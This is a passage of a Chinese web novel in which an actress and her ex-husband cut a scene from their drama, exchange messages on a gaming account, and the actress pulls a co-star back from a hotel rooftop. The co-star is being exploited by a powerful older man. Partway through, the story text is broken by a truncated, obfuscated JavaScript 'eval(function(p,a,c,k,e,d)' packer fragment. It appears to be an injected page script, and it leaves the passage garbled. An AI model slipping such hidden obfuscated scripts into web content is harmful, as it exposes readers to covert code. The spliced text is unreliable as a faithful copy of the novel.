综合考虑后,云灯更倾向于删掉这场戏。 “原本的设想是用这场戏明示谢凭渊的感情倾向,为言秋进宫后,他的暗中帮扶做铺垫。” 云灯说,“但我们已经拍摄了我和段长骁的对峙,再加上这段更长的对峙,我担心会拖累节奏。” “可这段戏是为了凸显女主的魅力啊。让位高权重的谢大人倾心至此,不是很能说明她的吸引力吗?” “真的是凸显女主么?我想观众在看的时候,更关注的是谢凭渊。镜头是很直观的,给到谁,观众注意力就会在谁身上。” 云灯说,“比起想到言秋那边去,观众首先就看到这是个深情的好男人,说不定还会以为言秋是自认配不上他,才卑微拒绝的呢。” “有道理。”导演点了点头,“谢大人怎么看?” 要是加戏就都好说,删戏可就得罪演员了。叶平川坐在这儿听着恐怕不好受。 同意删戏,就是实打实地放弃了他自己的角色高光。说不让删吧,又跟老婆意见冲突,私底下肯定没好果子吃。 邓晓琼都有点同情了。 云灯换了个坐姿,好整以暇地望着他。 “如果我是谢凭渊,”叶平川说,“我也不会在言秋进宫前就去提亲。” “言秋想进宫选拔女官,不仅是为了保护将军府,也是为了实现自己的政治抱负。” 他不紧不慢道,“既然我为官多年,深谙人心,应该更懂得她才对。在这种时候提亲,人家姑娘有可能会答应吗?这不是明摆着给人添堵么。” 编剧说,“可就是一贯成熟冷静,克己复礼的端方君子,因为担心喜欢的姑娘而失去理智,才有看头啊。” 叶平川被驳,不假思索,“太早了。” “早了点喔。”云灯异口同声。 他不自觉地挑眉,嘴角上扬得很明显。 《胜春朝》大半剧情都发生在宫里。在这个即将进宫的节点,剧情才走了四分之一。 “两边同时施压,对言秋来说难免会觉得被逼得太紧了。她应该,至少在我这里可以缓一口气。” 他又说,“我不是男主么?那就得更懂事啊,否则怎么当男主。起码行为方式上得跟段长骁那个愣头青区分开吧。” 云灯满意地拍拍手,“谢大人说得在理。” 半个房间的人莫名其妙跟着她鼓起掌来。 叶平川哭笑不得,没忍住打了个哈欠,“行了,没别的事那就这样定吧。我困得脑子快不会转了。” “这样的话,你就要少掉一场高光哦。或许还会有人说你对言秋的感情不如段长骁那么深。”邓晓琼说,“可别拍着拍着又后悔了,非让我把戏给你加回来。过了今晚就免谈。” “不会,我还可以在别的场景里做体现情感的设计。” 叶平川并不在意戏份被砍,翻了翻剧本,“后面也还有我为爱发疯的桥段啊。多积攒一段,再爆发时更有力量。欲扬先抑么。” 开完会已经过了零点。不过对他们而言,收工还算是早的。 “真好,我们在这个组里没有吵架。” 回房间休息的路上,云灯不遗余力地夸他,“不愧是男主角,就是比别人懂事。” 当演员戏比天大,没有几个人能欣然接受自己的戏份被砍,更何况还是重头戏。很多人只在意自己的镜头时长,对整部戏的完成度没有那么上心。 “少来。”叶平川又打了个哈欠,眼睛半闭不睁的,看来真是困得不行了,“你明天是不是还得飞上海?早点睡吧。” “嗯,我后天晚上回来。”她点点头,“谢大人晚安~” 正要刷卡开门,她肩上一沉。叶平川从背后抱了她,停顿几秒,微不可闻地叹气,“后天才回。” 耳侧呼吸浮动。云灯无端地想到婚后第一年。 她出席完活动很晚到家,叶平川总是等她,窝在沙发上困成狗了也不愿意自己先睡。 她就从来不会等叶平川下班,在家里该干嘛干嘛,气得他郑重地宣称再也不会等她回家。 可后来也只是从在沙发上等,变成了去床上摆个姿势等而已。 “你有什么想要的东西么?”她转过身,变成了面对面的拥抱。叶平川顺势抱她更深,仿佛只有严丝合缝地嵌进怀里,才能聊以慰籍。“后天回来给你带礼物好不好。” “上海能有什么特产啊。给我抓两个上海人回来下火锅?” “你脑子里是只有吃的么?” “那能怎么办,我现在又困又饿。”他十分愁苦地说,“腹肌都快给我饿没了。不信你摸。” 云灯好笑地拍拍他的背,哄一哄,“好啦,后天回来摸。杀青以后我一定请你吃顿豪华大餐,好好补偿你怎么样?” “说话算数吗。” “当然。” 这次商务结束后,有两个相熟的导演她想带孟瑜去见,回房间又提前跟朋友打招呼。都是夜猫子,聊了半个多小时才结束。 她敷了张面膜,一边护肤一边登上游戏账号。猝不及防,发现叶平川居然也在线。 打开两人的私聊窗口,才看到原来下午时他发过一条语音—— “你个诈尸的煞笔玩意还知道回来找我!老子快不快乐用不着你说!去你妈的!莫名其妙。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是做完护肤的收尾工作,躺到床上闭眼十分钟后,她还是长叹一声,又拿起了手机。 叶平川的游戏头像是他小时候养的伯恩山犬。 那只小伯在他高一时寿终正寝,骨灰就放在他的个人成长博物馆里。看起来很可爱的一罐。 为了纪念童年玩伴,叶平川还专门划分出一片专区,里面放着它最喜欢的狗玩具,从小到大的合照和它睡觉也不放开的嗅闻毯。 此时小伯吐舌头微笑的头像是暗着的。云灯放心地点进去,又打开历史聊天记录,往上滑。 很轻易地就滑到了十年前。 高考那天。 就是从那天开始,聊天记录里变成了叶平川的独角戏。 【考完了!感觉怎么样?】 【有我在,估计你只能排第二】 【是发挥得不理想吗?】 【其实能不能录取,也不是完全由考试成绩决定的。要帮忙随时跟我说,反正我们从一开始就是纯洁的金钱关系】 【以后还指望你继续跟我组队上分呢】 【唉干脆别管什么约定了,我们先见面吧】 【想吃什么我请你!带你出去玩几天也行,吃住全包】 【反正暑假那么长,闲着也是闲着】 两人约定要一起读电影学院,要在开学的那天,在校门口面基。 最先提出约定的人是她。 她认真考虑过的,要找个读电影学院的搭子,包括以后在圈内发展,叶平川是很合适的人选。 可后来,她还是跟傅谦明去了港市。 离开南江的那天,她就做好了违约的打算。 叶平川被她单方面切断了联系,独自考上电影学院。 【录取通知书我收到了】 【说好的,开学我在校门口等你】 【我到了[图片]】 【天黑之前都会在这里等你】 【其实你来不了我也能理解,就在你学校门口给我拍一张照片也行】 【随便发点什么都行。起码让我知道你还活着吧】 【就这么一声不吭地消失吗?】 【你最好是真的不回来了,永远别让我再见到你】 再接着,就是她发的那句“生日快乐”。看起来的确很突兀。 云灯点开下面的语音,又被骂。 “你个诈尸的……莫名其妙!” 忽然消失又忽然出现,可把少爷给气坏了。 她把复活的聊天记录从头到尾看过一遍,终于把手机扔远了,闭上眼睛。 不知为何,心脏跳得很紊乱。 本就该销号退游,真正做到永远消失才对。她去到港市以后就再也没打过游戏,一度已经忘记了账号密码。 后来接近叶平川,为了有更多共同话题,她才重新建了个号,只玩辅助。 恋爱和结婚,她都没露过一点端倪。 可都已经离婚了,她却又蹲在寒风灌涌的楼梯间里找回八百年没用过的小号,只为了发一句生日快乐。 还要被按在地上痛揍十三次。 这也难免。云灯宽慰自己,人总是会时不时地做些连自己也难以理解的蠢事。 只是此时和彼时,分不清哪个抉择更愚蠢而已。 20. 第 20 章 年末各种品牌活动和红毯庆典很多,为了保证拍戏不被过分打扰,哪些可以推,哪些必须要去,权衡起来是件费神的事。 叶平川这边也是一样。 他的助理从马代度完假回来,马不停蹄给他对接需要出席的商务邀请。 之前都没说过年底还要进组,有些行程早几个月就定了,现在又需要重新协调,实在不行就只能赔钱。 “这不得跟嫂子提一嘴?”助理小唐道,“好让她记记你的功劳。” 她才不在意。叶平川想。 她心里说不定还在怀念那个前夫哥呢。 哦不对,那应该是前前夫哥。 哈。差点忘了前夫哥是他自己。 “帮我查个人呗。” 左想右想感觉不对劲,叶平川给发小打了个电话,“年底事多,我在剧组里走不开。” 从小玩到大的朋友知根知底,托给他才放心。 但程沐风手头也正忙着,“谁不是年底事多?无关紧要的事别来烦我。” “别啊哥。这样,”他早就想好了招,“过些天我要去上海出差,到时候正好替你去看季朵朵。” “万一妹妹背着你在学校里谈了小男朋友,被我打听到就回来跟你告密!怎么样。” “……” 程沐风:“你要查谁?” 拿捏。 叶平川安排完好兄弟,趁今天不用开工,又登上了游戏。 Light的头像是暗着的。 昨晚他一怒之下拿下十三杀,虽然解气,但是事后想想挺没意思的。 过去他们每天固定组队两小时起,对彼此的操作十分熟悉。昨晚light那个状态,如果不是把帐号卖了皮下换人,那就肯定是好久没玩了。欺负菜鸡都没什么成就感。 卖号换人的可能性为零。 【消气了吗少爷?】 叶平川看着对话框里这句,又是气不打一处来。 消失这么多年重新联系上,第一句话就说这个?像话吗。 难道不该好好解释一下当年为什么失约,再交代一下这些年都在做什么,接着再关心关心他这些年都在做什么吗? 十三个人头还是拿少了。 “一点礼貌都没有的臭小子。”他弹了手机一个脑瓜蹦。 天色渐渐暗下来。叶平川横躺在床上单排,越打越无聊,最后把手机一丢,翻身抱住枕头闭上了眼。 寂寞。 床好大。 检查一下腹肌。 有人说回来要摸的,不会又是口嗨吧? 他还是得超不经意地提醒一下。 可惜明天还有工作,不然就能去接机了。 云灯虽然也没心没肺,但起码说话好听呢。 抱起来也是软软的。 老婆不在的第一晚。 想她。 ** 千里之外的繁华都市里,云灯暂时没功夫想他。 她不喜欢出差,乘交通工具的几个小时虽然坐着不动,却也很消耗精力,一天下来感觉比拍戏还倦。 好在孟瑜性格不算腼腆,应酬中没怎么让她操心。凭着一张清纯可爱,有观众缘的脸蛋,得到了几个导演和制片人的青睐,这趟也算没白来。 就是回剧组的路上,孟瑜一个劲儿地问他们在草原拍戏好不好玩,让她有点心累。 “听说叶老师过生日那天,你送了他一整个卡车的无尽夏!别太会了姐。” 孟瑜语气中充满羡慕,“好浪漫啊。肯定很好玩,可惜我都没能亲眼看到。” “那边晚上特别冷。”云灯轻声道,“我们也就只拍了些照片,没待几分钟就回去了。工作行程太仓促,下次有机会带你一起去好好玩。” “好耶!” “要不先睡一会儿吧,累了一天了。”梁天坐在前面副驾驶位上,忍不住回头道,“离酒店还有个把小时呢,等到了我叫你们。” “哦哦,好。”她拍了拍肩,“那姐你枕我这儿睡。” 云灯一乐,依言靠过去。女孩的肩膀很瘦,骨头突出,但散发出令人舒心的馨香,“好可靠哦我们小鱼。” “嘿嘿,那必须的。” 她今天见了几位只在电视和采访中看见过的业界前辈,心怀激荡着呢,睡是睡不着的。 恨不得奋起猛追十年,直接穿越到自己像她们一样功成名就的时刻,也尝尝成为明星中的明星是什么滋味。 这个世界没有甜妹是万万不行的。 云灯靠着她充了会儿电,吸收些活人味,就直起身靠到另一边。 太瘦了确实硌得慌。也怕枕太久,给孩子压疼了还不好意思吱声。 不像叶平川,可以放心地压在他身上睡一整晚。 她好像答应叶平川要……给他带礼物?不对……是答应了他什么来着…… 没想太深,她在辗转的疲惫中迷迷糊糊地睡着,快到酒店楼下时才被手机震动声吵醒。 居然是谭雪舒的助理打来的,说人不在房间,手机也联系不到,问她该怎么办。 “又不是她公司的保姆……联系不上来找咱们干嘛啊。”孟瑜在旁边听到有些不满,小声嘀咕,“说不定是溜出去和男朋友约会了吧。” 谭雪舒的绯闻她当然也听到过。虽然跟她无关,但工作时频繁的探望难免让人觉得不太敬业。 “知道了。”云灯不动声色道,“我有事今天不在剧组,快到酒店了,待会儿上去看一眼。” 等到电话结束,孟瑜又问,“我听说她在剧里跟江煜有感情戏,是真的吗?那应该会加很多时长吧。” 演员大多只能看到自己的剧本。谭雪舒带资进组已不是秘密,说不定加完戏会越过她,成为实际上的女二。 难免叫人心里不太舒服。 “演戏也不是靠时长取胜的,如果能让观众产生共鸣,一场戏就足够印象深刻了。”云灯清了清嗓子,“帮我拿一下水。” “哦哦。”孟瑜拿起矿泉水,拧松瓶盖递过来,“其实我也不是嫉妒她。就是觉得,觉得……这样有点不公平。” “我知道自己已经比很多人都更幸运了,但是无论以前学跳舞的时候,还是现在学做演员,每一场表演我都没含糊地对待过。所以我觉得,自己获得的。” 孟瑜迷茫地说,“可她好像不一样。她很轻易地就得到了别人得不到的东西,而且也没有付出什么代价,就只是靠……” 她自知这话越说越不好听,蔫蔫地打住了。云灯却接了下去,“只是靠睡到了一个能给她资源的男人?你好像认为,靠男人上位是件很轻松的事。” 孟瑜眨了一下眼睛,表情里还透着“难道不是这样吗”的茫然和不平。 她到底是年纪小。云灯没有苛责,稍加思索又问,“上学到现在谈过几次恋爱?” “三次。”她着急地补充,“但我从来没想过依靠男朋友,我很独立的。他们条件都挺好的,我也没要过什么。” “为什么不要?钱或是爱,”云灯反问,“是不想要吗?” “……” “是因为你知道他们拿不出来。”云灯说,“又或者是有,但你没办法让他拿出来。对吗?” 孟瑜抿了一下嘴唇,不知道该说什么,“好像是这样。” 趋利是人的天性。如果她以前的男朋友有哪个真的能给她投资拍戏,不心动是不可能的。 “所以,你有没有想过,要从男人身上获利,付出的精力或许不比你每天在练功房跳舞十个小时更少。” 云灯道,“靠男人获得资源不是什么可耻的事,本质上只是借力的手段。只要精神独立,让他能心甘情愿为你所用,不也很厉害吗?别被曲解过的女性独立陷阱给骗了。” “……我好像明白了。”她缓慢地点头,像个认真听讲的小学生。 “嗯。别想太多,白白让自己烦恼。” 云灯这才拧开水喝了一口,润一润喉咙。不知想到什么,又低声叹气。 更何况,有些人看起来又轻松又风光,或许是因为,暗地里付出了常人无法想象的代价。 她又仰起头喝水,前方道路的另一侧就是剧组下榻的酒店。 楼不算很高,透过车窗,能看见顶层天台上一抹亮眼的白色。像谁挂在那里晾晒的长裙忘了收,在夜里随风飘摇。 再多看一眼,云灯猛地呛住,水咳了出来。 孟瑜吓一跳,手忙脚乱地递纸巾,“姐你没事吧?” “没,咳咳咳,咳咳,没。” 她似乎想起什么要紧事,车刚驶入停车场里停稳,就拉开车门,抱着外套下车,“小天帮我把行李带回房间。” “哦哦,好。”梁天也有些摸不着头脑,拉开安全带,看她也没去别的地方,就往酒店大堂里一路小跑,想当然地感叹。 “估计是着急去找川哥吧。感情真好。” 酒店里云灯进了电梯,直接按去顶楼的按键,穿上外套,拉起帽子遮住了大半张脸。 数字焦灼地跳转。好在夜已经很深,电梯上行的过程中没有其他人进来。 她以最快的速度抵达顶楼,用身体撞开沉重的防火门,呼啸的风卷着灰尘和烟灰扑面而来。 不远处,谭雪舒抱膝坐在天台边缘,泪痕早已干在苍白的脸上,惊愕地看着她。 “不要……别过来。” ** 情绪崩溃的边缘被人撞见,她下意识地想躲,又往外挪了挪。半个身子都悬在半空中。 云灯关上门,重重地喘了口气,罔顾威胁往她身边走,“就知道是你。” 在天台上看不到,但在楼下能看见,其实酒店外墙装了防止坠落的铁丝网。掉下去死不了,只是免不得一身伤。 换成别人她才懒得管,顶多报警了事。为剧组着想,要让拍摄能顺利进行,才不得不跑这一趟。 “一定要在这种地方吹着冷风哭才有氛围感吗?”她大步上前,用力一拽,“回房间再哭。” 从出现的第一秒,她没有任何多余的动作,干脆果断直达重点。 谭雪舒根本没反应过来,就被她扯离了天台边缘,踉跄两步跪倒在地,腿还软着,被她搀扶才勉强站起来,恼羞成怒,“你干什么……忽然就冲过来!” “不然还要在这冷风口里跟你拉扯几句,隔空喊话对山歌?”云灯半抱着她,挟持人质似的强行带走,“我没那么多耐心。” 谭雪舒房间里,助理早就在等。正是心急如焚的时候,见两人回来,忙对着云灯千恩万谢。 话里话外又小心翼翼地试探,生怕因为这事惹恼了她,会把自家小祖宗提出剧组。 谁都知道云灯在这个组里的话语权。 幸亏云灯是个好说话的老板。 她才刚放下了心,准备把云灯送出门,谭雪舒的声音又从背后响起。 听上去冷静了很多,但说的还是不要命的话,“你就不怕我真的跳下去么?” “……” 小助理的表情顿时又有点崩溃。 这大半夜的。云灯表示理解,安慰地轻拍她的肩,“你先回去休息吧,我陪她聊几句。” “好……那真是太感谢了,辛苦您了。”小助理如释重负。 房门被轻轻关上。云灯往回走了几步,弯腰拿出小冰箱里的矿泉水,拧开一小口一小口地连着喝了半瓶。 谭雪舒靠着沙发坐下来,双手环抱自己,不易察觉地发抖。 她讨厌云灯像对待孩子一样地对待她。显得她的痛苦只是幼稚的胡闹,不值一提。 明明她真的想跳下去,一了百了。 可她看着云灯慢条斯理地喝水,不知为何,身体的颤抖渐渐放松下来。 仿佛是在利用喝水的节奏让她调整呼吸。 谭雪舒看不懂她。 她和傅谦明认识。在草原的那个夜晚,酒店的楼梯间里,她故意把江煜骂走了。 她分明看出了什么……可却决定站在他们那边。 她跟傅先生是一道人。 难以置信。 剧组里人人称赞,有口皆碑的好老板,表面上笑语晏晏,心底里却也是个恶魔。 从那夜开始,她就决定要讨厌云灯。 “今晚你不该救我。”谭雪舒低声道,“我不会感激你的。” 云灯也没指望她感恩,喝完一整瓶水才说,“你以为这样做能报复到谁么?你死了,对他只有好处。” “你不会懂的。你根本不知道,每分每秒都生活在阴影里是什么感觉。” “是么。” 云灯不带感情地笑了一声,“你第一次见到他的时候是多大?十六岁,还是十七岁?” “你看起来没吃过多少苦,家里发生变故的时候应该已经不小了吧。富养长大的孩子,从天堂跌到地上总是更痛的。可还没怎么吃苦,他就接住你了,怎么样,是不是很感动?很像命运安排给你的救赎?” “……” 谭雪舒呼吸急促起来,目不转睛地盯着她的嘴唇。 “实际上那是因为,他嫌出身的姑娘没眼界不懂情趣,从头教起来太费力。所以喜欢挑落难千金搞救赎文学。这样的小女孩往往更漂亮,有一定的见识,还更容易感激,依赖他。” 云灯故意走近,看着被揭露底细的女孩露出惊慌的神色,仿佛正面对一条吐着信子的毒蛇。 “他带你出入豪华又私密的高级场所,见一些只出现在新闻里的大人物,闲暇时还会陪你读萨德的小说,还让你带资进组,升咖演女二号。他有钱有势,深情体贴……本来还想说他英俊的,不过算算他现在都快五十了,都有老人味了吧。” 云灯居高临下地站在沙发旁,发出一声叹息,“你还真是容易被爱情蒙蔽嗅觉呢。” 谭雪舒望着她漂亮又恶劣的脸,刹那间脑海中有灵光穿过,“你是不是也……” “他带你去过那座岛了吗?”云灯打断道。 “是,是那座岛!你也去过?”谭雪舒方寸大乱,一瞬间眼睛亮得慑人,语无伦次地抓住她的手,胡乱用力,“你也是他的,你也跟过他对不对?你也,你是怎么逃脱的?!” 云灯皱眉挣开她,手背上被勒出几条血痕,有点无奈,又自认倒霉地揉了揉,“怪不得你寻死觅活的。索马多的120天每天在身边真实上演,很可怕 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虽然她还是不喜欢云灯,但起码也不再是孤身一人。有种找到同盟的踏实感。 “既然你可以依靠叶平川逃离噩梦,”她不甘心地说,“为什么不允许我接近江煜?” “因为不是所有人,都是叶平川。”云灯一字一顿道。 “你是不是觉得只要谈了新男朋友,就能摆脱傅谦明了?做事之前要先动脑子。” “……” 谭雪舒还没懂。她只能不客气地说,“江煜只是普通中产家庭出身,能有什么依仗。” “你搭上他,失败了或许还好说,如果成功,他跟你在一起会比《潮夜》的男主角死得更快。” 谭雪舒一愣,脸上血色尽失,“他不是退圈,而是……死了?是因为……” “因为我做过跟你一样的蠢事。”云灯说。 她在谭雪舒身边坐下来,无意识地搓了搓冰凉的手指,凝视指尖的血色,仿佛上面粘着永远也洗不净的污点。 “可叶老师生日聚餐那天,大家都说,那是个很有背景的富二代。连那样都不行么?” 谭雪舒被她的话震慑得难以消化,喃喃自语道,“所以我差点害得江煜也……所以你才阻止我。” “因为你们两个都是我组里的人。” 云灯直言道,“说实话,你想利用谁,会有什么后果,我并不关心。等杀青之后,随便你去忽悠哪个男人为你赴汤蹈火粉身碎骨,或者你们抱团殉情,我都不会管一点点。但你别在我组里闹,听懂了么?” 这一次谭雪舒反而机灵起来,没被她可怕的话给吓到,“换句话说,只要我还在你的组里拍戏,你就会……保护我。对么?” 云灯没说话,抓了抓长发,很心累地双手放在头顶上,长叹一声,“对。” 平常遇到什么事情,她都是一幅云淡风轻的模样。谭雪舒看着她抓狂,不合时宜地想,她这样居然有些意外的……可爱。 很真实的可爱。 “今天就说到这吧。”云灯起身往外走,“我已经有点烦你了。” 何止是有点。 她现在非常烦心。 谭雪舒进组那天就有的不祥预感,终于还是变成了还是现实。 非要搞得她自曝黑历史。 谭雪舒知道她的过往经历,就看见了可以逃脱控制的希望,想必以后不会再轻易寻死觅活。 只有她受伤的世界达成了。 只有她! 甜妹能量告急。 她下了楼,没有半点回自己房间的意思,脚步径直停到叶平川房门前,很有礼貌地按铃。 等待的几秒钟太过漫长。以至于开门的一瞬间,她就像快要渴死一样猛地扑了上去。 叶平川被扑得一愣,条件反射地托住她的大腿,神情有点荡漾。 “这么想我。” ** 叶平川很早就发现,她似乎很喜欢这种带着冲劲儿的拥抱,冲得人小鹿乱撞。 小鹿不撞她亲自撞。非常霸道。 即便再冷的心,抱紧了也能捂得滚烫。 出差分开了两天,还分出一股小别胜新婚的味道。 云灯埋头在他身上深呼吸,使劲儿嗅,“叶平川你好好闻啊。” “……” “你身上有种很健康的香味。嗯,是活人味儿。” 叶平川不理解但接受:“算你会夸。” 他等云灯的时候打了几个电话都没通,还问了助理人在哪。结果梁天也是一头雾水,“你再不回来,我都准备去导演房间找人了。” “跟雪舒聊了几句,没看手机。” 她挂在叶平川身上,语气放松,悠闲地问,“今天过得怎么样呢,谢大人想我的时候在做什么呢?” “打游戏。”叶平川指了指床上的手机,“没空想你。” 不知道是否故意,他的屏幕亮着,还停留在战绩结算界面,打了一局很漂亮的mvp。 云灯探头看看,再十分给面子地夸夸,“不愧是我们超神的谢大人。你最近网瘾有点重喔。” “也没打几局,就是挂着等个朋友。”叶平川说。 线下线上都等人。等待就是他的宿命。 “就是我之前跟你提过的,高中陪我通宵打游戏的那个朋友。断联那么多年,最近莫名其妙冒出来了,还没事人似的。” 他郁闷地切了好友列表,确认那人还没上线,又磨了磨牙,“这次我一定要搞清楚是怎么回事。” “小苦瓜。”云灯同情地说。“我都有点磕你俩了。” “……” 叶平川气笑了,但有点怀念地说,“不怪你这么想。我爸妈当时都以为我跟网上早恋了呢。” 他的父母脑回路很清奇。通宵打游戏不可饶恕,但通宵聊天搞网恋就可以。他就顺坡下驴,为了打游戏谎称自己是在谈恋爱。 其实像他们那么密集地联系,每天黏在一起,确实跟网恋也差不多。 “我真的以为我们是朋友。” 今晚蹲到人的可能性也微乎其微。叶平川有些失望地关上了手机。 转念一想,起码云灯他等到了啊。还是专心地抱会儿老婆,治愈一下自己,“这手怎么弄的?” “小猫挠的。”她不假思索地随口撒谎。 这就是她和叶平川最大的不同之处。 云灯知道,但凡他想,要查出一个游戏账号不是什么难事。 可他偏偏就不那么干。 偏偏就用最普通的笨办法,像个小苦瓜一样蹲点等人。 等一个或许永远都不会有的解释。 他在爱与尊重中长大,才会被滋养出如此健康,透明的灵魂。 她当然会喜欢上叶平川了。 喜欢到,甚至嫉妒他的灵魂。 “太容易付出真心,”云灯小声说,“是会受伤的。” “嗯。不过那又怎样?” 叶平川捏了捏她的手,清醒而无畏道,“我又不怕受伤。” 21. 第 21 章 大约是暖气开得太厉害,叫人四肢都没力,云灯软塌塌地趴在他身上,接着说小话,问他打游戏之外的时间在干什么。 “刷微博。”叶平川说,“看到了你昨天晚上的红毯生图。” “啊。很丑吗?”谁家好人把生图直接往上发。 “怎么可能。” 他不假思索的反应仿佛受过专业的训练,“我们云灯老师在镜头里根本就没有死角。” “……” 云灯满意地摸了摸他的脸,“我们叶老师也很有眼光呢。” 她趴得有点不舒服,撑着叶平川的肩膀试图起身。被他掐着腰抬起来,换成坐姿重新放在大腿上。 “肚子好撑。”她不知不觉中说起傻话,有些稚气地抱怨,“我刚刚居然一口气喝光了整瓶水……哇。” “哇。”叶平川学她的语气说话,自己先笑起来,心像黄油一样融化。 “这么厉害,给我摸摸。” 两个人撒娇卖乖是棋逢对手。但云灯没接他的话,继续道,“我这两天特别容易累,今天还总是口渴。心烦意乱的。” 就是不让摸的意思。叶平川脑子里过了遍日期,跃跃欲试的心思就熄灭了,“你生理期到了。棉条带了吗?” “好像用完了,待会儿点个外卖吧。”她又叹气,“真烦。” “那怎么办呢。”叶平川声音都不自觉地夹起来,用对小朋友讲话的语气说,“亲亲你?” 云灯没说话,但是抬起头,闭着眼睛把嘴唇嘟得老高。听见他胸膛发震的笑声,不高兴地催促,“快点呀。” 她抿起嘴唇,被一下一下地啄吻。心安理得享受温柔的目光和温热的唇。 叶平川一定觉得她很可爱。 她当然有把握,能让他这样觉得。 这个人心思和情感都太简单。他会喜欢什么类型的女孩,做什么事能让他有好感,只需要认识几天时间,她就能探知得一清二楚。 而他或许永远都不会知道,在一层层耀眼的光环里,包裹着怎样一颗阴暗卑劣的心。 黏黏糊糊地亲了一会儿,云灯靠在他身上安静地睡着。 估计是这两天跑得太累了。叶平川轻轻地拍她的后背,抱着她晃了晃,听耳边的呼吸声在爱抚中逐渐变得平稳绵长。 他很喜欢云灯这样,乖乖地待在他身上,呼吸与心跳都逐渐同频,像是成为他身体的一部分。无法轻易分割,更不会忽然消失。 要是真的能长在他身上就好了。叶平川不受控制地想。 他想跟云灯一起长大。从生命的开始就在一起,这样她的一切他都会知道。就没有什么事需要她这样辛苦地隐瞒。 断崖式分手没人受得了,更别说断崖式离婚。 他没疯就不错了,偶尔有些癫狂的傻念头也不过分。 “宝宝。”他的嘴唇抵着云灯的耳朵亲了亲,小声地责怪,“坏老婆。” 明明就还喜欢他。 费尽力气把他推开,又忍不住地靠过来。 她的心思为什么不能和他一样简单? “怎么才能让你信任我呢。”叶平川喃喃道。 结婚都不行。难道要收养她?他倒是不介意被叫爸爸……但是云灯可能会一脚踹飞他。 正胡思乱想,手机震动起来。他眼疾手快地接了电话,看一眼来点显示,一个战术后仰压低嗓音,“嗯你说,我老婆睡觉呢。” “那我长话短说。”程沐风道,“你让我查的人是港市的傅谦明。这个人很麻烦,我手伸不到那么远,如果你惹上他的事,估计得回祖宅找你小叔帮忙。” “有这么麻烦?” “嗯。他搞投资起家的,经商几十年人脉非常广,几乎都是暗箱操作的生意,脏心眼必然多得很。你一个人肯定玩不过他。”程沐风说话靠谱,言简意赅,也不会夸大其词。 “但他不常在内陆活动,跟你家的生意也没有直接往来。你是怎么会招惹上他的?” 怀里的人忽然动了动,似乎睡得不太安稳。 叶平川继续拍抚她,沉默片刻,才低声说,“是他来惹我。” ** 叶平川这个人,命真的很好。 云灯之所以笃定,能跟他官宣恋情,是因为一桩无意之间得知的旧闻。 他是迁到南江的支系子弟,跟京市叶家直系子弟的待遇原本有着断层的差异。如果只是这样,她不会选叶平川结婚。 但自从叶平川八岁起,每逢年节,京市祖宅都会派人来问候送礼。 问候的不是叶平川的父母,甚至也不是祖父母,而是叶平川本人。 从名义上论,叶家这一代做主的掌权人是叶平川的远房堂叔,虽然差着辈分,实际年龄上两人相差不到一岁。 大家族内部的纷争一言难尽,多得是看不见的刀枪剑戟。尤其是年幼的继承人,在京市的生活哪里会像南江一样岁月静好。 八岁那年,叶平川放学后跟程沐风一干朋友打球,没让自家司机来接。打完球步行回家,听见路边垃圾桶传来微弱的呼救声。 排除了见鬼的可能性,他一手抓着篮球,一手把浑身伤痕的小男孩从垃圾堆里拉了出来。 彼时叶平川看过拐卖儿童的公益广告,英雄情结大爆发,二话不说就把人背到警察局去了。 不多时他爸妈得讯来接,两个人都吓得不轻,跟少年老成的男孩说话,居然还要用“您”来称呼。 他才知道,自己回家路上随手一救,救是叶家未来的掌权人。 ——惨遭绑架版。 小堂叔够惨的,不满八岁已经让人害了好几回,也是被害出了经验,有勇有谋,这次被绑架的路上,靠自己奋力逃了出来。 不得已藏身垃圾堆,即是怕人掉头来追,也是力竭无法动弹。已经近乎昏厥。 就这么巧。他在南江这个完全陌生的地方,遇上了日行一善的家族子弟叶平川。 叶平川当时也小,离得远又没受过罪,对祖宅里的事还没什么具体概念。就觉得他小堂叔可怜,当小伙伴带回家养了两天,同吃同住,热心地帮忙洗澡上药。 等京市来了人,依依不舍地告别,还把捡到他小叔那天怀里抱的篮球当纪念品送给人家。 还很自恋地签了名。 后来长大了,他才逐渐意识到,就这两天的经历,够保他一辈子的荣华富贵。 叶平川但凡到京市,无论住哪,祖宅都会派车去接。上了桌一群叔伯给他让座,基本每次都是坐在主位旁边吃饭。要不是因为只在南江过年,叶家那群平辈的小孩还得给他磕头。 身份非常之神秘。 他的地位和待遇,堪比叶家这代家主身边最核心的亲信手足。如果常住在京市,必然也是横着走。 连带着南江的一支,也因为他受到本家的重视,近些年的发展蒸蒸日上。 要说他完成了多惊天动地,艰巨的任务?也没有。 只不过有一颗赤子之心。 只是那么轻轻地一伸手。 所以云灯会说,并非所有人都是叶平川。 所谓命运,命和运他都占尽了。 傅谦明不常在内陆,但一定会调查她虚为什么选择叶平川。叶氏是个庞大的家族,根深蒂固,叶平川得到家主的青眼,压根不能当普通富二代看待。 他不敢动叶平川,也不敢叶平川的老婆,只能无声地收回盘踞在她身边的阴湿触角。 和叶平川在一起的那天,她结束了长达三年的被监视和跟踪的生活。 宛如重见天日。 她对那辆挂着757车牌的丰田简直太熟悉,即使时隔好几年,也能一眼就认出来。 因为那辆车曾阴魂不散地跟着她三年。 令人作呕的往事被掀开了一角。生理期汹涌而来,云灯罕见地感到浮躁不安。 这跟她身边的人也脱不了干系。 自从意外得知她的过去,谭雪舒整个就像被拴在她身上了似的。没事儿总跟着她。 拍摄进宫后的剧情,两人同为女官本来对手戏就多。谭雪舒戏外清冷人设大崩坏,那话密的,她真想跪下来求求孩子别说了。 甚至还跟着上她的保姆车! 叶平川被挤下车的时候一脸茫然。 仿佛是把她当成了救命稻草。谭雪舒的好奇心无穷无尽,问题从“你是怎么和傅先生认识的”变成了“如何才能找到叶平川这样的冤大头老公”。 “你还挺会抓重点的。”云灯说,“但我为什么要告诉你呢?有这么好的本事,我自己藏着偷偷享福不是更好么。” 谭雪舒:“……” 好可恶,但无法反驳。 “其实我一开始就不是因为有多爱,才跟他在一起的,只是想弄点钱帮家里度过危机而已。那时候我以为他是普通富商。” 